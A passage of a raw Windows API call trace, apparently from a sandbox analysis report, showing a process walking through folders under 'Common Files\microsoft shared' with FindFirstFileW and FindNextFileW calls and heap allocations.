dwReserved1=0x3ab, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0276.713] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0276.713] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0276.713] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0276.713] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0276.714] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0276.714] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0276.714] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0276.714] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0276.714] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0276.966] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0276.976] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0276.976] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dccc65, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96dccc65, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0276.976] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0276.992] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0276.992] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0276.993] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0276.993] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0276.993] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0276.993] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0276.993] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0276.994] GetProcessHeap () returned 0xaf0000 [0276.994] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0276.994] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="TextConv", cAlternateFileName="")) returned 1 [0276.994] GetProcessHeap () returned 0xaf0000 [0276.994] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0276.994] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0276.995] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="..", cAlternateFileName="")) returned 1 [0276.995] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="en-US", cAlternateFileName="")) returned 1 [0276.995] GetProcessHeap () returned 0xaf0000 [0276.995] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0276.995] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0276.995] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.995] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0276.995] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0276.995] GetProcessHeap () returned 0xaf0000 [0276.995] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0276.995] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="en-US", cAlternateFileName="")) returned 0 [0276.995] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0276.995] GetProcessHeap () returned 0xaf0000 [0276.995] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0276.995] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="Triedit", cAlternateFileName="")) returned 1 [0276.996] GetProcessHeap () returned 0xaf0000 [0276.996] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0276.996] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.996] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="..", cAlternateFileName="")) returned 1 [0276.996] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="en-US", cAlternateFileName="")) returned 1 [0276.996] GetProcessHeap () returned 0xaf0000 [0276.996] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0276.996] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0276.997] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.997] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0276.997] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0276.997] GetProcessHeap () returned 0xaf0000 [0276.997] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0276.997] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="en-US", cAlternateFileName="")) returned 0 [0276.997] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0276.997] GetProcessHeap () returned 0xaf0000 [0276.997] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0276.997] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="VC", cAlternateFileName="")) returned 1 [0276.997] GetProcessHeap () returned 0xaf0000 [0276.997] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0276.997] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0276.997] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="..", cAlternateFileName="")) returned 1 [0276.997] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8127e00, ftCreationTime.dwHighDateTime=0x1cbd076, ftLastAccessTime.dwLowDateTime=0xcd0a4098, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd8127e00, ftLastWriteTime.dwHighDateTime=0x1cbd076, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0276.998] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0276.998] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x3ab, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0276.998] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0276.998] GetProcessHeap () returned 0xaf0000 [0276.998] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0276.998] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3ad, cFileName="VGX", cAlternateFileName="")) returned 1 [0276.998] GetProcessHeap () returned 0xaf0000 [0276.998] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0276.998] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x2aeeff0 | out: 